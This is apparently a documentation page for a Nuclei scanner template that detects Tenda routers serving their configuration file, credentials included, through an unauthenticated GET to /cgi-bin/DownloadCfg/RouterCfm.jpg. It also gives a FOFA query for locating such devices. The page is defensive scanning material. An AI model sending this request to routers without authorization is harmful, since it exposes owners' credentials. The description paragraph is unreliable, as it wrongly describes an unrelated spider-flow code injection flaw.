Tendat Router Credential - Exposure

ID: tendat-credential

Severity: high

Author: pussycat0x

Tags: tendat,exposure,config

Description

A vulnerability, which was classified as critical, was found in spider-flow 0.4.3. Affected is the function FunctionService.saveFunction of the file src/main/java/org/spiderflow/controller/FunctionController.java. The manipulation leads to code injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-249510 is the identifier assigned to this vulnerability.

YAML Source

id: tendat-credential

info:
  name: Tendat Router Credential - Exposure
  author: pussycat0x
  severity: high
  description: |
    A vulnerability, which was classified as critical, was found in spider-flow 0.4.3. Affected is the function FunctionService.saveFunction of the file src/main/java/org/spiderflow/controller/FunctionController.java. The manipulation leads to code injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-249510 is the identifier assigned to this vulnerability.
  reference:
    - https://github.com/wy876/POC/blob/main/Tenda%E8%B7%AF%E7%94%B1%E5%99%A8%E8%B4%A6%E5%8F%B7%E5%AF%86%E7%A0%81%E6%B3%84%E9%9C%B2.md
  classification:
    cpe: cpe:2.3:h:tendacn:g0:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: tendacn
    product: g0
    fofa-query: "title=\"Tenda | LOGIN\" && country=\"CN\""
  tags: tendat,exposure,config

http:
  - raw:
      - |
        GET /cgi-bin/DownloadCfg/RouterCfm.jpg HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "http_username", "device_remark")'
          - 'contains(header, "config/conf")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100ad49b684a59e2b878493a44fd328ffec57b6cf68aa2661fef76951c77d1ba5c7022065b3dafe0a002e48dd86a3a7928f0154d6014c99e9ec57a48630c48a50e10adb:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/tendat-credential.yaml"

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